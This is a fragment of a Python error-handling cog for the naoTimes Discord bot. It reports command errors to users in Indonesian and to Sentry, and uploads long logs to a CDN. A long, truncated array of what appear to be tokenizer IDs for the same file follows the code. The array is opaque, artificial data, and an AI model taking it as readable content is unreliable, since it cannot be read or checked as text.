user_err_info = "**Error**: Insiden ini telah dilaporkan! Jika ingin dipercepat penyelesaiannya"
user_err_info += (
", mohon buka Issue baru di GitHub: <https://github.com/naoTimesdev/naoTimes/issues/new/choose>"
)
await self._push_message_safely(ctx, user_err_info)
async def _push_message_safely(self, ctx: naoTimesContext, content: str, do_ref: bool = False):
try:
reference = ctx.message if do_ref else None
await ctx.send(content, reference=reference)
except (discord.HTTPException, discord.Forbidden, discord.InteractionResponded) as e:
app_command = None
if isinstance(ctx, app.ApplicationContext):
app_command = "application_command"
await self._push_to_sentry(ctx, e, app_command)
async def _push_bot_log_or_cdn(self, embed: discord.Embed, fallback_message: str):
ctime = self.bot.now().int_timestamp
try:
await self.bot.send_error_log(embed=embed)
except discord.HTTPException:
self.logger.error("Failed to send bot error log to provided channel!")
if len(fallback_message) > 1950:
iha_link, err_msg = await self.bot.send_ihateanime(fallback_message, "naoTimesErrorLog_")
if iha_link is not None:
finalized_text = "**Terjadi kesalahan**\n"
finalized_text += "Dikarenakan traceback dan sebagainya mencapai limit discord, log dapat"
finalized_text += f" diakses di sini: <{iha_link}>"
finalized_text += "\n\nLog valid selama kurang lebih 2.5 bulan"
await self.bot.send_error_log(finalized_text)
else:
self.logger.error("Failed to upload log to ihateani.me CDN, using discord upload...")
fallback_message += f"\n\nihateani.me Error log: {err_msg}"
the_file = discord.File(
io.BytesIO(fallback_message.encode("utf-8")),
filename=f"naoTimesErrorLog_{ctime}.txt",
)
await self.bot.send_error_log(
"Dikarenakan log terlalu panjang, ini adalah log errornya", file=the_file
)
else:
await self.bot.send_error_log(fallback_message)
async def _actual_push_to_bot_log(self, ctx: naoTimesContext, e: Exception) -> None:
is_dm = ctx.guild is None
guild_id = ctx.guild.id if ctx.guild is not None else None
guild_name = ctx.guild.name if ctx.guild is not None else None
error_handle = CommandHandle(
e,
ctx.command.name,
ctx.message.clean_content,
ctx.author.id,
ctx.author.name,
ctx.channel.id,
ctx.channel.name,
is_dm,
guild_id,
guild_name,
ctx.cog.qualified_name if ctx.cog else None,
)
full_pesan = error_handle.create_text()
await self._push_bot_log_or_cdn(error_handle.create_embed(), full_pesan)
async def _push_to_bot_log(self, ctx: naoTimesContext, e: Exception) -> None:
ts = self.bot.now().int_timestamp
# Create task to push to bot log
self.bot.loop.create_task(self._actual_push_to_bot_log(ctx, e), name=f"naoTimes-BotLog-{ts}")
async def _push_to_sentry(self, ctx: naoTimesContext, e: Exception, app_type: str = None) -> None:
if self.bot._use_sentry:
with push_scope() as scope:
scope.user = {
"id": ctx.author.id,
"username": str(ctx.author),
}
scope.set_tag("command", ctx.command.qualified_name)
if ctx.cog is not None:
scope.set_tag("cog", ctx.cog.qualified_name)
scope.set_tag("channel_id", ctx.channel.id)
scope.set_extra("message", ctx.message.content)
if app_type is not None:
scope.set_tag("command_type", app_type)
else:
scope.set_tag("command_type", "normal")
if ctx.guild is not None:
scope.set_tag("guild_id", ctx.guild.id)
scope.set_extra(
"jump_to",
f"https://discordapp.com/channels/{ctx.guild.id}/{ctx.channel.id}/{ctx.message.id}",
)
self.logger.error(f"Ignoring exception in command {ctx.command}:", exc_info=e)
def setup(bot: naoTimesBot):
bot.add_cog(BotBrainErrorHandler(bot))
| [
1,
529,
9507,
29958,
29883,
12099,
29914,
7451,
2634,
262,
29914,
2704,
29889,
2272,
29966,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
3166,
4770,
29888,
9130,
1649,
1053,
25495,
13,
13,
2202,
29901,
13,
1678,
515,
2665,
719,
29918,
15348,
1053,
5503,
29918,
6078,
13,
19499,
16032,
2392,
29901,
13,
1678,
1209,
13,
13,
5215,
12013,
13,
5215,
12183,
13,
5215,
9637,
1627,
13,
3166,
848,
13203,
1053,
848,
1990,
13,
3166,
19229,
1053,
323,
6959,
29918,
3210,
16658,
4214,
13,
13,
5215,
263,
601,
1124,
13,
5215,
16578,
13,
5215,
2313,
536,
13,
3166,
2313,
536,
29889,
1062,
1053,
623,
29892,
8260,
13,
3166,
2313,
536,
29889,
1062,
29889,
932,
1053,
4436,
408,
623,
29918,
12523,
13,
3166,
2313,
536,
29889,
1062,
29889,
26381,
1053,
4436,
13,
13,
3166,
1055,
9356,
29889,
7451,
1053,
1055,
29877,
29164,
29933,
327,
13,
3166,
1055,
9356,
29889,
4703,
1053,
1055,
29877,
29164,
2677,
13,
3166,
1055,
9356,
29889,
23596,
1053,
4436,
408,
4696,
29918,
12523,
13,
3166,
1055,
9356,
29889,
13239,
1053,
14978,
13,
13,
361,
323,
6959,
29918,
3210,
16658,
4214,
29901,
13,
1678,
515,
281,
6447,
682,
29889,
9106,
1053,
14574,
13,
13,
13,
29992,
1272,
1990,
13,
1990,
10516,
13554,
29901,
13,
1678,
3682,
29901,
8960,
13,
1678,
1024,
29901,
851,
13,
1678,
2643,
29901,
851,
13,
1678,
4148,
29918,
333,
29901,
938,
13,
1678,
4148,
29918,
978,
29901,
851,
13,
1678,
8242,
29918,
333,
29901,
938,
13,
1678,
8242,
29918,
978,
29901,
851,
13,
1678,
338,
29918,
18933,
29901,
6120,
353,
7700,
13,
1678,
1410,
789,
29918,
333,
29901,
938,
353,
6213,
13,
1678,
1410,
789,
29918,
978,
29901,
851,
353,
6213,
13,
1678,
274,
468,
29918,
978,
29901,
851,
353,
6213,
13,
1678,
14334,
29901,
16578,
29889,
1433,
798,
353,
16578,
29889,
329,
29883,
3707,
580,
13,
13,
1678,
732,
6799,
13,
1678,
822,
9637,
1627,
29898,
1311,
1125,
13,
4706,
260,
29890,
353,
9637,
1627,
29889,
4830,
29918,
11739,
29898,
1853,
29898,
1311,
29889,
11739,
511,
1583,
29889,
11739,
29892,
1583,
29889,
11739,
17255,
15003,
1627,
1649,
29897,
13,
4706,
736,
376,
1642,
7122,
29898,
22625,
467,
6506,
703,
29952,
613,
20569,
13,
13,
1678,
822,
1653,
29918,
17987,
29898,
1311,
1125,
13,
4706,
8297,
353,
2313,
536,
29889,
6026,
2580,
29898,
13,
9651,
3611,
543,
2392,
28468,
613,
13,
9651,
12384,
29922,
29900,
29916,
4198,
29906,
29945,
29941,
29923,
29892,
13,
9651,
6139,
543,
29911,
261,
29926,
10129,
413,
267,
284,
801,
273,
472,
585,
13377,
3615,
2594,
29884,
29899,
1646,
29884,
297,
29875,
856,
613,
13,
9651,
14334,
29922,
1311,
29889,
16394,
29889,
12673,
29892,
13,
4706,
1723,
13,
4706,
565,
1583,
29889,
29883,
468,
29918,
978,
29901,
13,
9651,
8297,
29889,
1202,
29918,
2671,
29898,
978,
543,
29907,
12099,
613,
995,
29922,
29888,
29908,
29961,
29876,
29911,
29991,
29962,
426,
1311,
29889,
29883,
468,
29918,
978,
17671,
10583,
29922,
8824,
29897,
13,
4706,
8297,
29889,
1202,
29918,
2671,
29898,
978,
543,
5894,
524,
801,
343,
574,
4697,
348,
557,
273,
613,
995,
29922,
29888,
29908,
29912,
1311,
29889,
978,
1012,
29876,
29952,
29912,
1311,
29889,
4906,
10114,
613,
10583,
29922,
8824,
29897,
13,
4706,
25194,
6840,
29918,
1144,
3615,
353,
376,
23560,
972,
6249,
11273,
29908,
13,
4706,
565,
1583,
29889,
2543,
789,
29918,
333,
29901,
13,
9651,
25194,
6840,
29918,
1144,
3615,
353,
285,
29908,
29912,
1311,
29889,
2543,
789,
29918,
978,
29913,
21313,
1311,
29889,
2543,
789,
29918,
333,
1800,
29908,
13,
9651,
25194,
6840,
29918,
1144,
3615,
4619,
285,
26732,
29876,
26660,
1311,
29889,
12719,
29918,
978,
29913,
21313,
1311,
29889,
12719,
29918,
333,
1800,
29908,
13,
13,
4706,
8297,
29889,
1202,
29918,
2671,
29898,
978,
543,
29931,
554,
6840,
13377,
3615,
613,
995,
29922,
417,
29895,
6840,
29918,
1144,
3615,
29892,
10583,
29922,
8824,
29897,
13,
4706,
8297,
29889,
1202,
29918,
2671,
29898,
978,
543,
29925,
996,
29887,
4347,
613,
995,
29922,
29888,
29908,
29912,
1311,
29889,
8921,
29918,
978,
29913,
21313,
1311,
29889,
8921,
29918,
333,
1800,
613,
10583,
29922,
8824,
29897,
13,
4706,
8297,
29889,
1202,
29918,
2671,
29898,
978,
543,
11591,
1627,
613,
995,
29922,
1396,
29898,
1311,
29889,
15003,
1627,
29892,
5852,
29892,
376,
2272,
5783,
13,
4706,
8297,
29889,
842,
29918,
386,
21145,
29898,
2271,
543,
991,
597,
29886,
29889,
4861,
403,
3270,
29889,
1004,
29914,
29885,
617,
29894,
29886,
29939,
29887,
29881,
29889,
2732,
1159,
13,
4706,
736,
8297,
13,
13,
1678,
822,
1653,
29918,
726,
29898,
1311,
1125,
13,
4706,
639,
524,
801,
29918,
726,
353,
1583,
29889,
978,
13,
4706,
565,
1583,
29889,
29883,
468,
29918,
978,
29901,
13,
9651,
639,
524,
801,
29918,
726,
4619,
285,
29908,
313,
29883,
468,
26254,
1311,
29889,
29883,
468,
29918,
978,
1800,
29908,
13,
4706,
1923,
29918,
3888,
353,
376,
29925,
295,
4858,
29901,
27692,
29908,
13,
4706,
565,
1583,
29889,
2543,
789,
29918,
333,
29901,
13,
9651,
1923,
29918,
3888,
353,
285,
29908,
29925,
295,
4858,
29901,
426,
1311,
29889,
2543,
789,
29918,
978,
29913,
21313,
1311,
29889,
2543,
789,
29918,
333,
1800,
29908,
13,
4706,
8242,
29918,
3888,
353,
285,
29908,
29968,
7054,
29901,
426,
1311,
29889,
12719,
29918,
978,
29913,
21313,
1311,
29889,
12719,
29918,
333,
1800,
29908,
13,
4706,
1059,
29918,
3888,
353,
518,
13,
9651,
285,
29908,
5894,
524,
801,
29901,
426,
546,
524,
801,
29918,
726,
17671,
13,
9651,
285,
29908,
29925,
267,
273,
29901,
426,
1311,
29889,
4906,
17671,
13,
9651,
1923,
29918,
3888,
29892,
13,
9651,
8242,
29918,
3888,
29892,
13,
9651,
285,
29908,
5894,
375,
557,
29901,
426,
1311,
29889,
8921,
29918,
978,
29913,
21313,
1311,
29889,
8921,
29918,
333,
1800,
613,
13,
4706,
4514,
13,
13,
4706,
2989,
29918,
5547,
273,
353,
376,
1068,
29911,
261,
29926,
10129,
476,
267,
284,
801,
273,
1068,
29905,
29876,
29905,
29876,
29908,
13,
4706,
2989,
29918,
5547,
273,
4619,
14978,
14182,
29876,
1642,
7122,
29898,
2704,
29918,
3888,
511,
5852,
29892,
376,
2272,
1159,
718,
6634,
29876,
29905,
29876,
29908,
13,
4706,
2989,
29918,
5547,
273,
4619,
14978,
29898,
1311,
29889,
15003,
1627,
29892,
5852,
29892,
376,
2272,
1159,
13,
4706,
736,
2989,
29918,
5547,
273,
13,
13,
13,
1990,
11273,
22097,
2392,
4598,
29898,
26381,
29889,
29907,
468,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
9225,
29901,
1055,
29877,
29164,
29933,
327,
1125,
13,
4706,
1583,
29889,
7451,
353,
9225,
13,
4706,
1583,
29889,
21707,
353,
12183,
29889,
657,
16363,
703,
29933,
327,
22097,
29889,
2392,
4598,
1159,
13,
13,
1678,
732,
26381,
29889,
29907,
468,
29889,
25894,
580,
13,
1678,
7465,
822,
373,
29918,
6519,
29918,
2704,
29898,
1311,
29892,
12893,
29901,
1055,
29877,
29164,
2677,
29892,
3682,
29901,
4436,
29889,
6255,
2392,
1125,
13,
4706,
9995,
3403,
29879,
738,
9225,
1899,
1059,
29892,
3638,
304,
2665,
719,
29892,
2992,
1213,
15945,
13,
4706,
1899,
353,
12893,
29889,
6519,
13,
13,
4706,
565,
756,
5552,
29898,
6519,
29892,
376,
265,
29918,
2704,
29908,
1125,
13,
9651,
396,
10516,
2307,
16459,
278,
1059,
29889,
13,
9651,
736,
13,
13,
4706,
903,
17281,
29918,
5729,
29873,
873,
353,
313,
13,
9651,
4436,
29889,
6255,
17413,
29892,
13,
9651,
4436,
29889,
2659,
4290,
2392,
29892,
13,
9651,
4436,
29889,
3664,
28213,
29892,
13,
9651,
4436,
29889,
15730,
29925,
1503,
292,
2392,
29892,
13,
4706,
1723,
13,
4706,
903,
10403,
1799,
4214,
29918,
13171,
4345,
353,
313,
13,
9651,
4436,
29889,
18552,
292,
15737,
6847,
29892,
13,
9651,
4436,
29889,
29933,
327,
18552,
292,
15737,
6847,
29892,
13,
4706,
1723,
13,
4706,
903,
10403,
1799,
4214,
29918,
1672,
1307,
353,
313,
13,
9651,
4436,
29889,
18552,
292,
10773,
16727,
29892,
13,
9651,
4436,
29889,
18552,
292,
16727,
29892,
13,
9651,
4436,
29889,
29933,
327,
18552,
292,
10773,
16727,
29892,
13,
9651,
4436,
29889,
29933,
327,
18552,
292,
16727,
29892,
13,
4706,
1723,
13,
4706,
396,
3617,
278,
2441,
565,
1863,
13,
4706,
3682,
353,
679,
5552,
29898,
11739,
29892,
376,
13492,
613,
3682,
29897,
13,
13,
4706,
565,
338,
8758,
29898,
11739,
29892,
903,
17281,
29918,
5729,
29873,
873,
1125,
13,
9651,
1583,
29889,
7451,
29889,
8057,
29918,
2704,
29898,
11739,
29897,
13,
9651,
736,
13,
4706,
565,
338,
8758,
29898,
11739,
29892,
4436,
29889,
4205,
3606,
6255,
1125,
13,
9651,
736,
7272,
12893,
29889,
6717,
29898,
29888,
6937,
29912,
13073,
29889,
6519,
10114,
4538,
265,
5867,
361,
11052,
23157,
13,
4706,
565,
338,
8758,
29898,
11739,
29892,
4436,
29889,
3782,
25207,
3728,
1125,
13,
9651,
736,
7272,
1583,
3032,
5910,
29918,
4906,
29918,
29879,
2142,
873,
29898,
13,
18884,
12893,
29892,
285,
6937,
29912,
6519,
10114,
29952,
10668,
557,
2652,
29874,
28191,
557,
1794,
652,
12230,
11946,
1179,
1213,
13,
9651,
1723,
13,
4706,
565,
338,
8758,
29898,
11739,
29892,
4436,
29889,
25207,
3728,
11730,
1125,
13,
9651,
736,
7272,
1583,
3032,
5910,
29918,
4906,
29918,
29879,
2142,
873,
29898,
13,
18884,
12893,
29892,
285,
6937,
29912,
6519,
10114,
29952,
298,
20912,
2652,
29874,
28191,
557,
1794,
652,
12230,
11946,
1179,
1213,
13,
9651,
1723,
13,
4706,
565,
338,
8758,
29898,
11739,
29892,
4436,
29889,
3059,
29943,
29956,
13599,
19347,
1125,
13,
9651,
736,
7272,
1583,
3032,
5910,
29918,
4906,
29918,
29879,
2142,
873,
29898,
13073,
29892,
285,
6937,
29912,
6519,
10114,
298,
20912,
2652,
29874,
28191,
557,
1794,
652,
6841,
284,
3865,
29943,
29956,
23157,
13,
4706,
565,
338,
8758,
29898,
11739,
29892,
903,
10403,
1799,
4214,
29918,
13171,
4345,
1125,
13,
9651,
736,
7272,
1583,
29889,
8411,
29918,
16074,
29918,
2704,
29898,
13073,
29892,
3682,
29897,
13,
4706,
565,
338,
8758,
29898,
11739,
29892,
903,
10403,
1799,
4214,
29918,
1672,
1307,
1125,
13,
9651,
736,
7272,
1583,
29889,
8411,
29918,
12154,
29918,
2704,
29898,
13073,
29892,
3682,
29897,
13,
4706,
565,
338,
8758,
29898,
11739,
29892,
4436,
29889,
6255,
2951,
7967,
1025,
776,
1125,
13,
9651,
736,
7272,
1583,
3032,
5910,
29918,
4906,
29918,
29879,
2142,
873,
29898,
13,
18884,
12893,
29892,
285,
29908,
29968,
314,
29884,
7048,
574,
2959,
314,
5516,
29874,
3756,
29874,
29889,
315,
15330,
11755,
29875,
2959,
314,
281,
5867,
29884,
426,
11739,
29889,
276,
2202,
29918,
7045,
29901,
29889,
29906,
29888,
29913,
1439,
638,
1213,
13,
9651,
1723,
13,
4706,
565,
338,
8758,
29898,
11739,
29892,
4436,
29889,
7976,
1168,
26095,
1123,
3791,
1125,
13,
9651,
736,
7272,
1583,
29889,
8411,
29918,
535,
26095,
29918,
2704,
29898,
13073,
29892,
3682,
29897,
13,
13,
4706,
565,
338,
8758,
29898,
11739,
29892,
4696,
29918,
12523,
29889,
29923,
1983,
545,
29963,
29877,
625,
13599,
1125,
13,
9651,
338,
29918,
3396,
353,
3682,
29889,
3396,
29918,
3198,
13,
9651,
2643,
353,
376,
2855,
29874,
4023,
375,
5988,
478,
29907,
1935,
19982,
4861,
20694,
21528,
3850,
13,
9651,
3132,
29901,
14574,
353,
3682,
29889,
13073,
29889,
14917,
29918,
4645,
13,
9651,
3585,
29918,
1272,
353,
6213,
13,
9651,
565,
3132,
322,
3132,
29889,
12719,
29901,
13,
18884,
3585,
29918,
1272,
353,
3132,
29889,
12719,
29889,
358,
291,
13,
9651,
565,
451,
338,
29918,
3396,
29901,
13,
18884,
2643,
353,
376,
29924,
1148,
265,
5988,
7314,
13563,
376,
13,
18884,
565,
3585,
29918,
1272,
29901,
13,
462,
1678,
2643,
4619,
3585,
29918,
1272,
718,
376,
376,
13,
18884,
2643,
4619,
376,
1657,
2679,
1757,
29891,
300,
295,
2301,
638,
1213,
13,
9651,
736,
7272,
1583,
3032,
5910,
29918,
4906,
29918,
29879,
2142,
873,
29898,
11739,
29889,
13073,
29892,
2643,
29892,
5852,
29897,
13,
4706,
565,
338,
8758,
29898,
11739,
29892,
4696,
29918,
12523,
29889,
29923,
1983,
545,
29933,
327,
29963,
29877,
625,
13599,
1125,
13,
9651,
736,
7272,
1583,
3032,
5910,
29918,
4906,
29918,
29879,
2142,
873,
29898,
13,
18884,
3682,
29889,
13073,
29892,
376,
29933,
327,
10668,
557,
1935,
29882,
431,
686,
972,
6249,
478,
29907,
767,
481,
348,
29991,
613,
5852,
13,
9651,
1723,
13,
4706,
565,
338,
8758,
29898,
11739,
29892,
4696,
29918,
12523,
29889,
29923,
1983,
545,
25559,
1123,
1548,
358,
1125,
13,
9651,
2769,
353,
3682,
29889,
23147,
13,
9651,
736,
7272,
1583,
3032,
5910,
29918,
4906,
29918,
29879,
2142,
873,
29898,
13,
18884,
3682,
29889,
13073,
29892,
285,
29908,
2855,
29874,
10668,
557,
2626,
309,
10058,
447,
29895,
443,
29873,
2679,
9232,
557,
2679,
273,
8870,
1935,
344,
4187,
9903,
29876,
29912,
23147,
17671,
5852,
13,
9651,
1723,
13,
4706,
565,
338,
8758,
29898,
11739,
29892,
4696,
29918,
12523,
29889,
29956,
6447,
682,
3782,
20284,
1125,
13,
9651,
736,
7272,
1583,
3032,
5910,
29918,
4906,
29918,
29879,
2142,
873,
29898,
13,
18884,
12893,
29892,
376,
29933,
327,
10668,
557,
2626,
309,
10058,
2943,
365,
7712,
682,
443,
29873,
2679,
1757,
29891,
300,
295,
301,
10617,
29892,
286,
1148,
6150,
13156,
557,
9225,
438,
23007,
29991,
613,
5852,
13,
9651,
1723,
13,
13,
4706,
565,
338,
8758,
29898,
11739,
29892,
263,
601,
1124,
29889,
4032,
2392,
1125,
13,
9651,
736,
7272,
1583,
29889,
8411,
29918,
29874,
601,
1124,
29918,
2704,
29898,
13073,
29892,
3682,
29897,
13,
4706,
565,
338,
8758,
29898,
11739,
29892,
2313,
536,
29889,
10493,
2451,
1125,
13,
9651,
736,
7272,
1583,
29889,
8411,
29918,
2218,
16090,
29918,
1124,
29918,
2704,
29898,
13073,
29892,
3682,
29897,
13,
13,
4706,
7272,
1583,
3032,
5910,
29918,
517,
29918,
29879,
8269,
29898,
13073,
29892,
3682,
29897,
13,
4706,
7272,
1583,
3032,
5910,
29918,
517,
29918,
7451,
29918,
1188,
29898,
13073,
29892,
3682,
29897,
13,
4706,
7272,
1583,
3032,
5910,
29918,
517,
29918,
1792,
29898,
13073,
29897,
13,
13,
1678,
732,
26381,
29889,
29907,
468,
29889,
25894,
580,
13,
1678,
7465,
822,
373,
29918,
6214,
29918,
2704,
29898,
1311,
29892,
12893,
29901,
623,
29889,
4873,
2677,
29892,
3682,
29901,
8960,
1125,
13,
4706,
9995,
3403,
29879,
738,
9225,
623,
1899,
1059,
29892,
3638,
304,
2665,
719,
29892,
2992,
1213,
15945,
13,
13,
4706,
903,
17281,
29918,
5729,
29873,
873,
353,
313,
13,
9651,
623,
29918,
12523,
29889,
4873,
2659,
4290,
2392,
29892,
13,
9651,
623,
29918,
12523,
29889,
4873,
3664,
28213,
29892,
13,
4706,
1723,
13,
4706,
903,
10403,
1799,
4214,
29918,
13171,
4345,
353,
313,
13,
9651,
623,
29918,
12523,
29889,
4873,
18552,
292,
15737,
6847,
29892,
13,
9651,
623,
29918,
12523,
29889,
4873,
29933,
327,
18552,
292,
15737,
6847,
29892,
13,
4706,
1723,
13,
4706,
903,
10403,
1799,
4214,
29918,
1672,
1307,
353,
313,
13,
9651,
623,
29918,
12523,
29889,
4873,
18552,
292,
10773,
16727,
29892,
13,
9651,
623,
29918,
12523,
29889,
4873,
18552,
292,
16727,
29892,
13,
9651,
623,
29918,
12523,
29889,
4873,
29933,
327,
18552,
292,
10773,
16727,
29892,
13,
9651,
623,
29918,
12523,
29889,
4873,
29933,
327,
18552,
292,
16727,
29892,
13,
4706,
1723,
13,
4706,
3682,
353,
679,
5552,
29898,
11739,
29892,
376,
13492,
613,
3682,
29897,
13,
4706,
1899,
353,
12893,
29889,
6519,
13,
13,
4706,
565,
338,
8758,
29898,
11739,
29892,
903,
17281,
29918,
5729,
29873,
873,
1125,
13,
9651,
1583,
29889,
7451,
29889,
8057,
29918,
2704,
29898,
11739,
29897,
13,
9651,
736,
13,
4706,
565,
338,
8758,
29898,
11739,
29892,
623,
29918,
12523,
29889,
4873,
3782,
25207,
3728,
1125,
13,
9651,
736,
7272,
1583,
3032,
5910,
29918,
4906,
29918,
29879,
2142,
873,
29898,
13,
18884,
12893,
29892,
285,
6937,
29912,
6519,
29889,
15380,
2164,
29918,
978,
10114,
29952,
10668,
557,
2652,
29874,
28191,
557,
1794,
652,
12230,
11946,
1179,
1213,
13,
9651,
1723,
13,
4706,
565,
338,
8758,
29898,
11739,
29892,
623,
29918,
12523,
29889,
4873,
25207,
3728,
11730,
1125,
13,
9651,
736,
7272,
1583,
3032,
5910,
29918,
4906,
29918,
29879,
2142,
873,
29898,
13,
18884,
12893,
29892,
285,
6937,
29912,
6519,
10114,
29952,
298,
20912,
2652,
29874,
28191,
557,
1794,
652,
12230,
11946,
1179,
1213,
13,
9651,
1723,
13,
4706,
565,
338,
8758,
29898,
11739,
29892,
623,
29918,
12523,
29889,
4873,
3059,
29943,
29956,
13599,
19347,
1125,
13,
9651,
736,
7272,
1583,
3032,
5910,
29918,
4906,
29918,
29879,
2142,
873,
29898,
13073,
29892,
285,
6937,
29912,
6519,
10114,
298,
20912,
2652,
29874,
28191,
557,
1794,
652,
6841,
284,
3865,
29943,
29956,
23157,
13,
4706,
565,
338,
8758,
29898,
11739,
29892,
903,
10403,
1799,
4214,
29918,
13171,
4345,
1125,
13,
9651,
736,
7272,
1583,
29889,
8411,
29918,
16074,
29918,
2704,
29898,
13073,
29892,
3682,
29897,
13,
4706,
565,
338,
8758,
29898,
11739,
29892,
903,
10403,
1799,
4214,
29918,
1672,
1307,
1125,
13,
9651,
736,
7272,
1583,
29889,
8411,
29918,
12154,
29918,
2704,
29898,
13073,
29892,
3682,
29897,
13,
4706,
565,
338,
8758,
29898,
11739,
29892,
623,
29918,
12523,
29889,
4873,
6255,
2951,
7967,
1025,
776,
1125,
13,
9651,
736,
7272,
1583,
3032,
5910,
29918,
4906,
29918,
29879,
2142,
873,
29898,
13,
18884,
12893,
29892,
285,
29908,
29968,
314,
29884,
7048,
574,
2959,
314,
5516,
29874,
3756,
29874,
29889,
315,
15330,
11755,
29875,
2959,
314,
281,
5867,
29884,
426,
11739,
29889,
276,
2202,
29918,
7045,
29901,
29889,
29906,
29888,
29913,
1439,
638,
1213,
13,
9651,
1723,
13,
4706,
565,
338,
8758,
29898,
11739,
29892,
623,
29918,
12523,
29889,
4873,
7976,
1168,
26095,
1123,
3791,
1125,
13,
9651,
736,
7272,
1583,
29889,
8411,
29918,
535,
26095,
29918,
2704,
29898,
13073,
29892,
3682,
29897,
13,
4706,
565,
338,
8758,
29898,
11739,
29892,
4696,
29918,
12523,
29889,
29923,
1983,
545,
29963,
29877,
625,
13599,
1125,
13,
9651,
338,
29918,
3396,
353,
3682,
29889,
3396,
29918,
3198,
13,
9651,
2643,
353,
376,
2855,
29874,
4023,
375,
5988,
478,
29907,
1935,
19982,
4861,
20694,
21528,
3850,
13,
9651,
3132,
29901,
14574,
353,
3682,
29889,
13073,
29889,
14917,
29918,
4645,
13,
9651,
3585,
29918,
1272,
353,
6213,
13,
9651,
565,
3132,
322,
3132,
29889,
12719,
29901,
13,
18884,
3585,
29918,
1272,
353,
3132,
29889,
12719,
29889,
358,
291,
13,
9651,
565,
451,
338,
29918,
3396,
29901,
13,
18884,
2643,
353,
376,
29924,
1148,
265,
5988,
7314,
13563,
376,
13,
18884,
565,
3585,
29918,
1272,
29901,
13,
462,
1678,
2643,
4619,
3585,
29918,
1272,
718,
376,
376,
13,
18884,
2643,
4619,
376,
1657,
2679,
1757,
29891,
300,
295,
2301,
638,
1213,
13,
9651,
736,
7272,
1583,
3032,
5910,
29918,
4906,
29918,
29879,
2142,
873,
29898,
11739,
29889,
13073,
29892,
2643,
29892,
5852,
29897,
13,
4706,
565,
338,
8758,
29898,
11739,
29892,
4696,
29918,
12523,
29889,
29923,
1983,
545,
29933,
327,
29963,
29877,
625,
13599,
1125,
13,
9651,
736,
7272,
1583,
3032,
5910,
29918,
4906,
29918,
29879,
2142,
873,
29898,
13,
18884,
3682,
29889,
13073,
29892,
376,
29933,
327,
10668,
557,
1935,
29882,
431,
686,
972,
6249,
478,
29907,
767,
481,
348,
29991,
613,
5852,
13,
9651,
1723,
13,
4706,
565,
338,
8758,
29898,
11739,
29892,
4696,
29918,
12523,
29889,
29923,
1983,
545,
25559,
1123,
1548,
358,
1125,
13,
9651,
2769,
353,
3682,
29889,
23147,
13,
9651,
736,
7272,
1583,
3032,
5910,
29918,
4906,
29918,
29879,
2142,
873,
29898,
13,
18884,
3682,
29889,
13073,
29892,
285,
29908,
2855,
29874,
10668,
557,
2626,
309,
10058,
447,
29895,
443,
29873,
2679,
9232,
557,
2679,
273,
8870,
1935,
344,
4187,
9903,
29876,
29912,
23147,
17671,
5852,
13,
9651,
1723,
13,
4706,
565,
338,
8758,
29898,
11739,
29892,
4696,
29918,
12523,
29889,
29956,
6447,
682,
3782,
20284,
1125,
13,
9651,
736,
7272,
1583,
3032,
5910,
29918,
4906,
29918,
29879,
2142,
873,
29898,
13,
18884,
12893,
29892,
376,
29933,
327,
10668,
557,
2626,
309,
10058,
2943,
365,
7712,
682,
443,
29873,
2679,
1757,
29891,
300,
295,
301,
10617,
29892,
286,
1148,
6150,
13156,
557,
9225,
438,
23007,
29991,
613,
5852,
13,
9651,
1723,
13,
13,
4706,
565,
338,
8758,
29898,
11739,
29892,
263,
601,
1124,
29889,
4032,
2392,
1125,
13,
9651,
736,
7272,
1583,
29889,
8411,
29918,
29874,
601,
1124,
29918,
2704,
29898,
13073,
29892,
3682,
29897,
13,
4706,
565,
338,
8758,
29898,
11739,
29892,
2313,
536,
29889,
10493,
2451,
1125,
13,
9651,
736,
7272,
1583,
29889,
8411,
29918,
2218,
16090,
29918,
1124,
29918,
2704,
29898,
13073,
29892,
3682,
29897,
13,
13,
4706,
7272,
1583,
3032,
5910,
29918,
517,
29918,
29879,
8269,
29898,
13073,
29892,
3682,
29897,
13,
4706,
7272,
1583,
3032,
5910,
29918,
517,
29918,
7451,
29918,
1188,
29898,
13073,
29892,
3682,
29897,
13,
4706,
7272,
1583,
3032,
5910,
29918,
517,
29918,
1792,
29898,
13073,
29897,
13,
13,
1678,
396,
830,
412,
1218,
25795,
13,
1678,
7465,
822,
4386,
29918,
29874,
601,
1124,
29918,
2704,
29898,
1311,
29892,
12893,
29901,
1055,
29877,
29164,
2677,
29892,
3682,
29901,
263,
601,
1124,
29889,
4032,
2392,
1125,
13,
4706,
7272,
1583,
3032,
5910,
29918,
517,
29918,
29879,
8269,
29898,
13073,
29892,
3682,
29897,
13,
4706,
565,
338,
8758,
29898,
11739,
29892,
263,
601,
1124,
29889,
4032,
5103,
2392,
1125,
13,
9651,
736,
7272,
1583,
3032,
5910,
29918,
4906,
29918,
29879,
2142,
873,
29898,
13,
18884,
12893,
29892,
13,
18884,
285,
29908,
29924,
355,
26347,
11052,
413,
356,
7331,
426,
11739,
29889,
4882,
29913,
270,
1306,
3450,
29905,
29876,
28956,
2272,
29905,
29876,
613,
13,
18884,
3682,
29889,
4906,
29892,
13,
18884,
6634,
29876,
28956,
613,
13,
9651,
1723,
13,
4706,
736,
7272,
1583,
3032,
5910,
29918,
4906,
29918,
29879,
2142,
873,
29898,
13,
9651,
12893,
29892,
376,
29911,
261,
29926,
10129,
413,
267,
284,
801,
273,
413,
300,
4106,
289,
5968,
290,
348,
638,
6840,
972,
6249,
3450,
29892,
286,
1148,
265,
274,
15330,
3999,
29874,
271,
11755,
29875,
3850,
13,
4706,
1723,
13,
13,
1678,
7465,
822,
4386,
29918,
2218,
16090,
29918,
1124,
29918,
2704,
29898,
1311,
29892,
12893,
29901,
1055,
29877,
29164,
2677,
29892,
3682,
29901,
2313,
536,
29889,
10493,
2451,
1125,
13,
4706,
7272,
1583,
3032,
5910,
29918,
517,
29918,
29879,
8269,
29898,
13073,
29892,
3682,
29897,
13,
4706,
736,
7272,
1583,
3032,
5910,
29918,
4906,
29918,
29879,
2142,
873,
29898,
13,
9651,
12893,
29892,
376,
29911,
261,
29926,
10129,
413,
267,
284,
801,
273,
413,
300,
4106,
289,
5968,
290,
348,
638,
6840,
972,
6249,
8565,
536,
29892,
286,
1148,
265,
274,
15330,
3999,
29874,
271,
11755,
29875,
3850,
13,
4706,
1723,
13,
13,
1678,
7465,
822,
4386,
29918,
16074,
29918,
2704,
29898,
1311,
29892,
12893,
29901,
1055,
29877,
29164,
2677,
29892,
3682,
